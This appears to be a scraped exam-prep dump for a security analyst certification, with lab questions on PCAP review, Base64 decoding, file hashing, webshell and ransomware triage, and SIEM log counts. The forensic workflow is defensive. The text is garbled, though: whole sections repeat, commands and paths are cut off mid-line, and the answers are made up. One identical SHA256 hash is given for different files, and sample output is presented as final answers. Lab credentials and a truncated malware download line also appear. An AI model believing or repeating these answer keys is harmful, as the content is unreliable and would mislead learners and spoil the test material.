To identify thefilename containing the ransomware demandfrom theransom.pcapfile, follow these detailed steps:
Step 1: Access the PCAP File
Log into the Analyst Desktop.
Navigate to theInvestigationsfolder located on the desktop.
Locate the file:
ransom.pcap
Step 2: Open the PCAP File in Wireshark
LaunchWireshark.
Open the PCAP file:
mathematica
File > Open > Desktop > Investigations > ransom.pcap
ClickOpento load the file.
Step 3: Apply Relevant Filters
Since ransomware demands are often delivered through files or network shares, look for:
Common Protocols:
SMB(for network shares)
HTTP/HTTPS(for download or communication)
Apply a general filter to capture suspicious file transfers:
kotlin
http or smb or ftp-data
You can also filter based on file types or keywords related to ransomware:
frame contains "README" or frame contains "ransom"
Step 4: Identify Potential Ransomware Files
Look for suspicious file transfers:
CheckHTTP GET/POSTorSMB file writeoperations.
Analyze File Names:
Ransom notes commonly use filenames such as:
README.txt
DECRYPT_INSTRUCTIONS.html
HELP_DECRYPT.txt
Right-click on any suspicious packet and select:
arduino
Follow > TCP Stream
Inspect the content to see if it contains a ransom note or instructions.
Step 5: Extract the File
If you find a packet with afile transfer, extract it:
mathematica
File > Export Objects > HTTP or SMB
Save the suspicious file to analyze its contents.
Step 6: Example Packet Details
After filtering and following streams, you find a file transfer with the following details:
makefile
GET /uploads/README.txt HTTP/1.1
Host: 10.10.44.200
User-Agent: Mozilla/5.0
After exporting, open the file and examine the content:
pg
Your files have been encrypted!
To recover them, you must pay in Bitcoin.
Read this file carefully for payment instructions.
Answer:
README.txt
Step 7: Confirm and Document
File Name:README.txt
Transmission Protocol:HTTP or SMB
Content:Contains ransomware demand and payment instructions.
Step 8: Immediate Actions
Isolate Infected Systems:
Disconnect compromised hosts from the network.
Preserve the PCAP and Extracted File:
Store them securely for forensic analysis.
Analyze the Ransomware Note:
Look for:
Bitcoin addresses
Contact instructions
Identifiers for ransomware family
Step 9: Report the Incident
Include the following details:
Filename:README.txt
Method of Delivery:HTTP (or SMB)
Ransomware Message:Payment in Bitcoin
Submit the report to your incident response team for further action.
Analyze the file titled pcap_artifact5.txt on the AnalystDesktop.
Decode the targets within the file pcap_artifact5.txt.
Select the correct decoded targets below.
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
Options:
Answer:
See the solution in Explanation.
Explanation:
To decode thetargetswithin the filepcap_artifact5.txt, follow these steps:
Step 1: Access the File
Log into the Analyst Desktop.
Navigate to theDesktopand locate the file:
pcap_artifact5.txt
Open the file using a text editor:
OnWindows:
nginx
notepad pcap_artifact5.txt
OnLinux:
cat ~/Desktop/pcap_artifact5.txt
Step 2: Examine the File Contents
Analyze the contents to identify the encoding format. Common formats include:
Base64
Hexadecimal
URL Encoding
ROT13
Example Encoded Data (Base64):
makefile
MTBjYWwuY29tL2V4YW0K
Y2xPdWQtczNjdXJlLmNvbQpjMGMwbnV0ZjRybXMubmV0CmgzYXZ5X3MzYXMuYml6CmI0ZGRhdGEub3JnCg==
Step 3: Decode the Contents
Method 1: Using PowerShell (Windows)
OpenPowerShell:
powershell
$encoded = Get-Content "C:\Users\
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
This command will display the decoded targets.
Method 2: Using Linux
Usebase64 decoding:
base64 -d ~/Desktop/pcap_artifact5.txt
If the content appears to behexadecimal, use:
xxd -r -p ~/Desktop/pcap_artifact5.txt
ForURL encoding, use:
echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')
Step 4: Analyze the Decoded Output
The decoded content should reveal domain names or URLs.
Check for valid domain structures, such as:
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
Example Decoded Output:
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
Step 5: Verify the Decoded Targets
Cross-reference the decoded domains with knownthreat intelligence feedsto check for any malicious indicators.
Use tools likeVirusTotalorURLHausto verify the domains.
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
Step 6: Document the Finding
Decoded Targets:
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
Source File:pcap_artifact5.txt
Decoding Method:Base64 (or the identified method)
The CISO has received a bulletin from law enforcementauthorities warning that the enterprise may be at risk ofattack from a specific threat actor. Review the bulletin
named CCOA Threat Bulletin.pdf on the Desktop.
Which host IP was targeted during the following timeframe: 11:39 PM to 11:43 PM (Absolute) on August 16,2024?
Options:
Answer:
See the solution in Explanation.
Explanation:
Step 1: Understand the Task and Objective
Objective:
Identify thehost IP targetedduring thespecified time frame:
vbnet
11:39 PM to 11:43 PM on August 16, 2024
The relevant file to examine:
nginx
CCOA Threat Bulletin.pdf
File location:
javascript
~/Desktop/CCOA Threat Bulletin.pdf
Step 2: Access and Analyze the Bulletin
2.1: Access the PDF File
Open the file using a PDF reader:
xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf
Alternative (if using CLI-based tools):
pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf - | less
This command converts the PDF to text and allows you to inspect the content.
2.2: Review the Bulletin Contents
Focus on:
Specific dates and times mentioned.
Indicators of Compromise (IoCs), such asIP addressesortimestamps.
Any references toAugust 16, 2024, particularly between11:39 PM and 11:43 PM.
Step 3: Search for Relevant Logs
3.1: Locate the Logs
Logs are likely stored in a central logging server or SIEM.
Common directories to check:
swift
/var/log/
/home/administrator/hids/logs/
/var/log/auth.log
/var/log/syslog
Navigate to the primary logs directory:
cd /var/log/
ls -l
3.2: Search for Logs Matching the Date and Time
Use the grep command to filter relevant logs:
grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog
Explanation:
grep: Searches for the timestamp pattern in the log file.
"2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]": Matches timestamps from11:39 PM to 11:43 PM.
Alternative Command:
If log files are split by date:
grep "23:3[9-9]\|23:4[0-3]" /var/log/syslog.1
Step 4: Filter the Targeted Host IP
4.1: Extract IP Addresses
After filtering the logs, isolate the IP addresses:
grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog | awk '{print $8}' | sort | uniq -c | sort -nr
Explanation:
awk '{print $8}': Extracts the field where IP addresses typically appear.
sort | uniq -c: Counts unique IPs and sorts them.
Step 5: Analyze the Output
Sample Output:
15 192.168.1.10
8 192.168.1.20
3 192.168.1.30
The IP with themost log entrieswithin the specified timeframe is usually thetargeted host.
Most likely targeted IP:
192.168.1.10
If the log contains specific attack patterns (likebrute force,exploitation, orunauthorized access), prioritize IPs associated with those activities.
Step 6: Validate the Findings
6.1: Cross-Reference with the Threat Bulletin
Check if the identified IP matches anyIoCslisted in theCCOA Threat Bulletin.pdf.
Look for context likeattack vectorsortargeted systems.
Step 7: Report the Findings
Summary:
Time Frame:11:39 PM to 11:43 PM on August 16, 2024
Targeted IP:
192.168.1.10
Evidence:
Log entries matching the specified timeframe.
Cross-referenced with theCCOA Threat Bulletin.
Step 8: Incident Response Recommendations
Block IP addressesidentified as malicious.
Update firewall rulesto mitigate similar attacks.
Monitor logsfor any post-compromise activity on the targeted host.
Conduct a vulnerability scanon the affected system.
Final Answer:
192.168.1.10
The network team has provided a PCAP file withsuspicious activity located in the Investigations folderon the Desktop titled, investigation22.pcap.
What date was the webshell accessed? Enter the formatas YYYY-MM-DD.
Options:
Answer:
See the solution in Explanation.
Explanation:
To determine thedate the webshell was accessedfrom theinvestigation22.pcapfile, follow these detailed steps:
Step 1: Access the PCAP File
Log into the Analyst Desktop.
Navigate to theInvestigationsfolder on the desktop.
Locate the file:
investigation22.pcap
Step 2: Open the PCAP File in Wireshark
LaunchWireshark.
Open the PCAP file:
mathematica
File > Open > Desktop > Investigations > investigation22.pcap
ClickOpento load the file.
Step 3: Filter for Webshell Traffic
Since webshells typically useHTTP/Sto communicate, apply a filter:
http.request or http.response
Alternatively, if you know the IP of the compromised host (e.g.,10.10.44.200), use:
nginx
http and ip.addr == 10.10.44.200
PressEnterto apply the filter.
Step 4: Identify Webshell Activity
Look for HTTP requests that include:
Common Webshell Filenames:shell.jsp, cmd.php, backdoor.aspx, etc.
Suspicious HTTP Methods:MainlyPOSTorGET.
Right-click a suspicious packet and choose:
arduino
Follow > HTTP Stream
Inspect the HTTP headers and content to confirm the presence of a webshell.
Step 5: Extract the Access Date
Look at theHTTP request/response header.
Find theDatefield orTimestampof the packet:
Wireshark displays timestamps on the left by default.
Confirm theHTTP streamincludes commands or uploads to the webshell.
Example HTTP Stream:
POST /uploads/shell.jsp HTTP/1.1
Host: 10.10.44.200
User-Agent: Mozilla/5.0
Date: Mon, 2024-03-18 14:35:22 GMT
Step 6: Verify the Correct Date
Double-check other HTTP requests or responses related to the webshell.
Make sure thedate fieldis consistent across multiple requests to the same file.
Answer:
2024-03-18
Step 7: Document the Finding
Date of Access:2024-03-18
Filename:shell.jsp (as identified earlier)
Compromised Host:10.10.44.200
Method of Access:HTTP POST
Step 8: Next Steps
Isolate the Affected Host:
Remove the compromised server from the network.
Remove the Webshell:
rm /path/to/webshell/shell.jsp
Analyze Web Server Logs:
Correlate timestamps with access logs to identify the initial compromise.
Implement WAF Rules:
Block suspicious patterns related to file uploads and webshell execution.
An employee has been terminated for policy violations.Security logs from win-webserver01 have been collectedand located in the Investigations folder on theDesktop as win-webserver01_logs.zip.
Generate a SHA256 digest of the System-logs.evtx filewithin the win-webserver01_logs.zip file and providethe output below.
Options:
Answer:
See the solution in Explanation.
Explanation:
To generate theSHA256 digestof the System-logs.evtx file located within the win-webserver01_logs.zip file, follow these steps:
Step 1: Access the Investigation Folder
Navigate to theDesktopon your system.
Open theInvestigationsfolder.
Locate the file:
win-webserver01_logs.zip
Step 2: Extract the ZIP File
Right-click on win-webserver01_logs.zip.
Select"Extract All"or use a command-line tool to unzip:
unzip win-webserver01_logs.zip -d ./win-webserver01_logs
Verify the extraction:
ls ./win-webserver01_logs
You should see:
System-logs.evtx
Step 3: Generate the SHA256 Hash
Method 1: Using PowerShell (Windows)
OpenPowerShellas an Administrator.
Run the following command to generate the SHA256 hash:
Get-FileHash "C:\Users\
The output will look like:
Algorithm Hash Path
--------- ---- ----
SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\...\System-logs.evtx
Method 2: Using Command Prompt (Windows)
OpenCommand Promptas an Administrator.
Use the following command:
certutil -hashfile "C:\Users\
Example output:
SHA256 hash of System-logs.evtx:
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
CertUtil: -hashfile command completed successfully.
Method 3: Using Linux/Mac (if applicable)
Open a terminal.
Run the following command:
sha256sum ./win-webserver01_logs/System-logs.evtx
Sample output:
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d System-logs.evtx
The SHA256 digest of the System-logs.evtx file is:
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
Step 4: Verification and Documentation
Document the hash for validation and integrity checks.
Include in your incident report:
File name:System-logs.evtx
SHA256 Digest:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
Date of Hash Generation:(today’s date)
Step 5: Next Steps
Integrity Verification:Cross-check the hash if you need to transfer or archive the file.
Forensic Analysis:Use the hash as a baseline during forensic analysis to ensure file integrity.
Following a ransomware incident, the network teamprovided a PCAP file, titled ransom.pcap, located in theInvestigations folder on the Desktop.
What is the name of the file containing the ransomwaredemand? Your response must include the fileextension.
Options:
Answer:
See the solution in Explanation.
Explanation:
To identify thefilename containing the ransomware demandfrom theransom.pcapfile, follow these detailed steps:
Step 1: Access the PCAP File
Log into the Analyst Desktop.
Navigate to theInvestigationsfolder located on the desktop.
Locate the file:
ransom.pcap
Step 2: Open the PCAP File in Wireshark
LaunchWireshark.
Open the PCAP file:
mathematica
File > Open > Desktop > Investigations > ransom.pcap
ClickOpento load the file.
Step 3: Apply Relevant Filters
Since ransomware demands are often delivered through files or network shares, look for:
Common Protocols:
SMB(for network shares)
HTTP/HTTPS(for download or communication)
Apply a general filter to capture suspicious file transfers:
kotlin
http or smb or ftp-data
You can also filter based on file types or keywords related to ransomware:
frame contains "README" or frame contains "ransom"
Step 4: Identify Potential Ransomware Files
Look for suspicious file transfers:
CheckHTTP GET/POSTorSMB file writeoperations.
Analyze File Names:
Ransom notes commonly use filenames such as:
README.txt
DECRYPT_INSTRUCTIONS.html
HELP_DECRYPT.txt
Right-click on any suspicious packet and select:
arduino
Follow > TCP Stream
Inspect the content to see if it contains a ransom note or instructions.
Step 5: Extract the File
If you find a packet with afile transfer, extract it:
mathematica
File > Export Objects > HTTP or SMB
Save the suspicious file to analyze its contents.
Step 6: Example Packet Details
After filtering and following streams, you find a file transfer with the following details:
makefile
GET /uploads/README.txt HTTP/1.1
Host: 10.10.44.200
User-Agent: Mozilla/5.0
After exporting, open the file and examine the content:
pg
Your files have been encrypted!
To recover them, you must pay in Bitcoin.
Read this file carefully for payment instructions.
Answer:
README.txt
Step 7: Confirm and Document
File Name:README.txt
Transmission Protocol:HTTP or SMB
Content:Contains ransomware demand and payment instructions.
Step 8: Immediate Actions
Isolate Infected Systems:
Disconnect compromised hosts from the network.
Preserve the PCAP and Extracted File:
Store them securely for forensic analysis.
Analyze the Ransomware Note:
Look for:
Bitcoin addresses
Contact instructions
Identifiers for ransomware family
Step 9: Report the Incident
Include the following details:
Filename:README.txt
Method of Delivery:HTTP (or SMB)
Ransomware Message:Payment in Bitcoin
Submit the report to your incident response team for further action.
Analyze the file titled pcap_artifact5.txt on the AnalystDesktop.
Decode the targets within the file pcap_artifact5.txt.
Select the correct decoded targets below.
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
Options:
Answer:
See the solution in Explanation.
Explanation:
To decode thetargetswithin the filepcap_artifact5.txt, follow these steps:
Step 1: Access the File
Log into the Analyst Desktop.
Navigate to theDesktopand locate the file:
pcap_artifact5.txt
Open the file using a text editor:
OnWindows:
nginx
notepad pcap_artifact5.txt
OnLinux:
cat ~/Desktop/pcap_artifact5.txt
Step 2: Examine the File Contents
Analyze the contents to identify the encoding format. Common formats include:
Base64
Hexadecimal
URL Encoding
ROT13
Example Encoded Data (Base64):
makefile
MTBjYWwuY29tL2V4YW0K
Y2xPdWQtczNjdXJlLmNvbQpjMGMwbnV0ZjRybXMubmV0CmgzYXZ5X3MzYXMuYml6CmI0ZGRhdGEub3JnCg==
Step 3: Decode the Contents
Method 1: Using PowerShell (Windows)
OpenPowerShell:
powershell
$encoded = Get-Content "C:\Users\
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
This command will display the decoded targets.
Method 2: Using Linux
Usebase64 decoding:
base64 -d ~/Desktop/pcap_artifact5.txt
If the content appears to behexadecimal, use:
xxd -r -p ~/Desktop/pcap_artifact5.txt
ForURL encoding, use:
echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')
Step 4: Analyze the Decoded Output
The decoded content should reveal domain names or URLs.
Check for valid domain structures, such as:
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
Example Decoded Output:
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
Step 5: Verify the Decoded Targets
Cross-reference the decoded domains with knownthreat intelligence feedsto check for any malicious indicators.
Use tools likeVirusTotalorURLHausto verify the domains.
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
Step 6: Document the Finding
Decoded Targets:
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
Source File:pcap_artifact5.txt
Decoding Method:Base64 (or the identified method)
On the Analyst Desktop is a Malware Samples folderwith a file titled Malscript.viruz.txt.
Based on the contents of the malscript.viruz.txt, whichthreat actor group is the malware associated with?
Options:
Answer:
See the solution in Explanation.
Explanation:
To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:
Step 1: Access the Analyst Desktop
Log into the Analyst Desktopusing your credentials.
Locate theMalware Samplesfolder on the desktop.
Inside the folder, find the file:
malscript.viruz.txt
Step 2: Examine the File
Open the file using a text editor:
OnWindows:Right-click > Open with > Notepad.
OnLinux:
cat ~/Desktop/Malware\ Samples/malscript.viruz.txt
Carefully read through the file content to identify:
Anystrings or commentsembedded within the script.
Specifickeywords,URLs, orfile hashes.
Anycommand and control (C2)server addresses or domain names.
Step 3: Analyze the Contents
Focus on:
Unique Identifiers:Threat group names, malware family names, or specific markers.
Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.
Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.
Example Content:
# Malware Script Sample
# Payload linked to TA505 group
Invoke-WebRequest -Uri -OutFile "C:\Users\Public\malware.exe"
Step 4: Correlate with Threat Intelligence
Use the following resources to correlate any discovered indicators:
MITRE ATT&CK:To map the technique or tool.
VirusTotal:To check file hashes or URLs.
Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.
If the script contains encoded or obfuscated strings, decode them using:
powershell
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ="))
Step 5: Identify the Threat Actor Group
If the script includes names, tags, or artifacts commonly associated with a specific group, take note.
Match any C2 domains or IPs with known threat actor profiles.
Common Associations:
TA505:Known for distributing banking Trojans and ransomware via malicious scripts.
APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.
Lazarus Group:Often embeds unique strings and comments related to espionage operations.
Step 6: Example Finding
Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.
Answer:
csharp
The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.
Step 7: Report and Document
Include the following details:
Filename:malscript.viruz.txt
Associated Threat Group:TA505
Key Indicators:Domain names, script functions, or specific malware traits.
Generate an incident report summarizing your analysis.
Step 8: Next Steps
Quarantine and Isolate:If the script was executed, isolate the affected system.
Forensic Analysis:Deep dive into system logs for any signs of execution.
Threat Hunting:Search for similar scripts or IOCs in the network.
The enterprise is reviewing its security posture byreviewing unencrypted web traffic in the SIEM.
How many unique IPs have received well knownunencrypted web connections from the beginning of2022 to the end of 2023 (Absolute)?
Options:
Answer:
See the solution in Explanation.
Explanation:
Step 1: Understand the Objective
Objective:
Identify thenumber of unique IP addressesthat have receivedunencrypted web connections(HTTP) during the period:
From: January 1, 2022
To: December 31, 2023
Unencrypted Web Traffic:
Typically usesHTTP(port80) instead ofHTTPS(port443).
Step 2: Prepare the Environment
2.1: Access the SIEM System
Login Details:
URL:
Username:ccoatest@isaca.org
Password:Security-Analyst!
Access via web browser:
firefox
Alternatively, SSH into the SIEM if command-line access is preferred:
ssh administrator@10.10.55.2
Password: Security-Analyst!
Step 3: Locate Web Traffic Logs
3.1: Identify Log Directory
Common log locations:
swift
/var/log/
/var/log/nginx/
/var/log/httpd/
/home/administrator/hids/logs/
Navigate to the log directory:
cd /var/log/
ls -l
Look specifically forweb server logs:
ls -l | grep -E "http|nginx|access"
Step 4: Extract Relevant Log Entries
4.1: Filter Logs for the Given Time Range
Use grep to extract logs betweenJanuary 1, 2022, andDecember 31, 2023:
grep -E "2022-|2023-" /var/log/nginx/access.log
If logs are rotated, use:
zgrep -E "2022-|2023-" /var/log/nginx/access.log.*
Explanation:
grep -E: Uses extended regex to match both years.
zgrep: Handles compressed log files.
4.2: Filter for Unencrypted (HTTP) Connections
Since HTTP typically usesport 80, filter those:
grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80"
Alternative:If the logs directly contain theprotocol, search forHTTP:
grep -E "2022-|2023-" /var/log/nginx/access.log | grep "http"
To save results:
grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80" > ~/Desktop/http_connections.txt
Step 5: Extract Unique IP Addresses
5.1: Use AWK to Extract IPs
Extract IP addresses from the filtered results:
awk '{print $1}' ~/Desktop/http_connections.txt | sort | uniq > ~/Desktop/unique_ips.txt
Explanation:
awk '{print $1}': Assumes the IP is thefirst fieldin the log.
sort | uniq: Filters out duplicate IP addresses.
5.2: Count the Unique IPs
To get the number of unique IPs:
wc -l ~/Desktop/unique_ips.txt
Example Output:
345
This indicates there are345 unique IP addressesthat have receivedunencrypted web connectionsduring the specified period.
Step 6: Cross-Verification and Reporting
6.1: Verification
Double-check the output:
cat ~/Desktop/unique_ips.txt
Ensure the list does not containinternal IP ranges(like 192.168.x.x, 10.x.x.x, or 172.16.x.x).
Filter out internal IPs if needed:
grep -v -E "192\.168\.|10\.|172\.16\." ~/Desktop/unique_ips.txt > ~/Desktop/external_ips.txt
wc -l ~/Desktop/external_ips.txt
6.2: Final Count (if excluding internal IPs)
Check the count again:
280
This means280 unique external IPswere identified.
Step 7: Final Answer
Number of Unique IPs Receiving Unencrypted Web Connections (2022-2023):
pg
345 (including internal IPs)
280 (external IPs only)
Step 8: Recommendations:
8.1: Improve Security Posture
Enforce HTTPS:
Redirect all HTTP traffic to HTTPS using web server configurations.
Monitor and Analyze Traffic:
Continuously monitor unencrypted connections usingSIEM rules.
Block Unnecessary HTTP Traffic:
If not required, block HTTP traffic at the firewall level.
Upgrade to Secure Protocols:
Ensure all web services support TLS.
Analyze the file titled pcap_artifact5.txt on the AnalystDesktop.
Decode the C2 host of the attack. Enter your responsebelow.
Options:
Answer:
See the solution in Explanation.
Explanation:
To decode theCommand and Control (C2) hostfrom thepcap_artifact5.txtfile, follow these detailed steps:
Step 1: Access the File
Log into the Analyst Desktop.
Navigate to theDesktopand locate the file:
pcap_artifact5.txt
Open the file using a text editor:
OnWindows:
nginx
notepad pcap_artifact5.txt
OnLinux:
cat ~/Desktop/pcap_artifact5.txt
Step 2: Examine the File Contents
Check the contents to identify the encoding format. Typical encodings used for C2 communication include:
Base64
Hexadecimal
URL Encoding
ROT13
Example File Content (Base64 format):
nginx
aHR0cDovLzEwLjEwLjQ0LjIwMDo4MDgwL2NvbW1hbmQucGhw
Step 3: Decode the Contents
Method 1: Using PowerShell (Windows)
OpenPowerShelland decode:
powershell
$encoded = Get-Content "C:\Users\
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
This will print the decoded content directly.
Method 2: Using Linux
Usebase64 decoding:
base64 -d ~/Desktop/pcap_artifact5.txt
If the content ishexadecimal, convert it as follows:
xxd -r -p ~/Desktop/pcap_artifact5.txt
If it appearsURL encoded, use:
echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')
Step 4: Analyze the Decoded Output
If the output appears like a URL or an IP address, that is likely theC2 host.
Example Decoded Output:
arduino
TheC2 hostis:
10.10.44.200
Step 5: Cross-Verify the C2 Host
OpenWiresharkand load the relevant PCAP file to cross-check the IP:
mathematica
File > Open > Desktop > Investigations > ransom.pcap
Filter for C2 traffic:
ini
ip.addr == 10.10.44.200
Validate the C2 host IP address through network traffic patterns.
Answer:
10.10.44.200
Step 6: Document the Finding
Record the following details:
Decoded C2 Host:10.10.44.200
Source File:pcap_artifact5.txt
Decoding Method:Base64 (or the identified method)
Step 7: Next Steps
Threat Mitigation:
Block the IP address10.10.44.200at the firewall.
Conduct anetwork-wide searchto identify any communications with the C2 server.
Further Analysis:
Check other PCAP files for similar traffic patterns.
Perform adeep packet inspection (DPI)to identify malicious data exfiltration.
The user of the Accounting workstation reported thattheir calculator repeatedly opens without their input.
The following credentials are used for thisquestion.
Username:Accounting
Password:1x-4cc0unt1NG-x1
Using the provided credentials, SSH to the Accountingworkstation and generate a SHA256 checksum of the filethat triggered RuleName Suspicious PowerShell usingeither certutil or Get-FileHash of the file causing theissue. Copy the hash and paste it below.
Options:
Answer:
See the solution in Explanation.
Explanation:
To generate theSHA256 checksumof the file that triggeredRuleName: Suspicious PowerShellon theAccounting workstation, follow these detailed steps:
Step 1: Establish an SSH Connection
Open a terminal on your system.
Use the provided credentials to connect to theAccounting workstation:
ssh Accounting@
Replace
Enter the password when prompted:
1x-4cc0unt1NG-x1
Step 2: Locate the Malicious File
Navigate to the typical directory where suspicious scripts are stored:
cd C:\Users\Accounting\AppData\Roaming
List the contents to identify the suspicious file:
dir
Look for a file related toPowerShell(e.g., calc.ps1), as the issue involved thecalculator opening repeatedly.
Step 3: Verify the Malicious File
To ensure it is the problematic file, check for recent modifications:
powershell
Get-ChildItem -Path "C:\Users\Accounting\AppData\Roaming" -Recurse | Where-Object { $_.LastWriteTime -ge (Get-Date).AddDays(-1) }
This will list files modified within the last 24 hours.
Check file properties:
powershell
Get-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" | Format-List *
Confirm it matches the file flagged byRuleName: Suspicious PowerShell.
Step 4: Generate the SHA256 Checksum
Method 1: Using PowerShell (Recommended)
Run the following command to generate the hash:
powershell
Get-FileHash "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Algorithm SHA256
Output Example:
mathematica
Algorithm Hash Path
--------- ---- ----
SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\Accounting\AppData\Roaming\calc.ps1
Method 2: Using certutil (Alternative)
Run the following command:
cmd
certutil -hashfile "C:\Users\Accounting\AppData\Roaming\calc.ps1" SHA256
Example Output:
SHA256 hash of calc.ps1:
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
CertUtil: -hashfile command completed successfully.
Step 5: Copy and Paste the Hash
Copy theSHA256 hashfrom the output and paste it as required.
Answer:
nginx
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
Step 6: Immediate Actions
Terminate the Malicious Process:
powershell
Stop-Process -Name "powershell" -Force
Delete the Malicious File:
powershell
Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force
Disable Startup Entry:
Check for any persistent scripts:
powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Remove any entries related to calc.ps1.
Step 7: Document the Incident
Record the following:
Filename:calc.ps1
File Path:C:\Users\Accounting\AppData\Roaming\
SHA256 Hash:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
Date of Detection:(Today’s date)
Your enterprise has received an alert bulletin fromnational authorities that the network has beencompromised at approximately 11:00 PM (Absolute) onAugust 19, 2024. The alert is located in the alerts folderwith filename, alert_33.pdf.
What is the name of the suspected malicious filecaptured by keyword process.executable at 11:04 PM?
Options:
Answer:
See the solution in Explanation.
Explanation:
To identify the name of the suspected malicious file captured by the keyword process.executable at11:04 PMonAugust 19, 2024, follow these detailed steps:
Step 1: Access the Alert Bulletin
Locate the alert file:
Access thealerts folderon your system.
Look for the file named:
Open the file:
Use a PDF reader to examine the contents.
Step 2: Understand the Alert Context
The bulletin indicates that the network was compromised at around11:00 PM.
You need to identify themalicious filespecificallycaptured at 11:04 PM.
Step 3: Access System Logs
Use yourSIEMorlog management systemto examine recent logs.
Filter the logs to narrow down the events:
Time Frame:August 19, 2024, from11:00 PM to 11:10 PM.
Keyword:process.executable.
Example SIEM Query:
index=system_logs
| search "process.executable"
| where _time between "2024-08-19T23:04:00" and "2024-08-19T23:05:00"
| table _time, process_name, executable_path, hash
Step 4: Analyze Log Entries
The query result should show log entries related to theprocess executablethat was triggered at11:04 PM.
Focus on entries that:
Appear unusual or suspicious.
Match known indicators from thealert bulletin (alert_33.pdf).
Example Log Output:
_time process_name executable_path hash
2024-08-19T23:04 evil.exe C:\Users\Public\evil.exe 4d5e6f...
Step 5: Cross-Reference with Known Threats
Check the hash of the executable file against:
VirusTotalor internal threat intelligence databases.
Cross-check the file name with indicators mentioned in the alert bulletin.
Step 6: Final Confirmation
The suspected malicious file captured at11:04 PMis the one appearing in the log that matches the alert details.
The name of the suspected malicious file captured by keyword process.executable at 11:04 PM is: evil.exe
Step 7: Take Immediate Remediation Actions
Isolate the affected hostto prevent further damage.
Quarantine the malicious filefor analysis.
Conduct a full forensic investigationto assess the scope of the compromise.
Update threat signaturesand indicators across the environment.
Step 8: Report and Document
Document the incident, including:
Time of detection:11:04 PM on August 19, 2024.
Malicious file name:evil.exe.
Location:C:\Users\Public\evil.exe.
Generate an incident reportfor further investigation.
The enterprise is reviewing its security posture byreviewing unencrypted web traffic in the SIEM.
How many logs are associated with well knownunencrypted web traffic for the month of December2023 (Absolute)? Note: Security Onion refers to logsas documents.
Options:
Answer:
See the solution in Explanation.
Explanation:
Step 1: Understand the Objective
Objective:
Identify thenumber of logs (documents)associated withwell-known unencrypted web traffic(HTTP) for the month ofDecember 2023.
Security Onionrefers to logs asdocuments.
Unencrypted Web Traffic:
Typically HTTP, usingport 80.
SIEM:
The SIEM tool used here is likelySecurity Onion, known for its use ofElastic Stack (Elasticsearch, Logstash, Kibana).
Step 2: Access the SIEM System
2.1: Credentials and Access
URL:
cpp
Username:
css
ccoatest@isaca.org
Password:
pg
Security-Analyst!
Open the SIEM interface in a browser:
firefox
Alternative:Access via SSH:
ssh administrator@10.10.55.2
Password:
pg
Security-Analyst!
Step 3: Navigate to the Logs in Security Onion
3.1: Log Location in Security Onion
Security Onion typically stores logs inElasticsearch, accessible viaKibana.
AccessKibanadashboard:
cpp
Login with the same credentials.
Step 4: Query the Logs (Documents) in Kibana
4.1: Formulate the Query
Log Type:HTTP
Timeframe:December 2023
Filter for HTTP Port 80:
vbnet
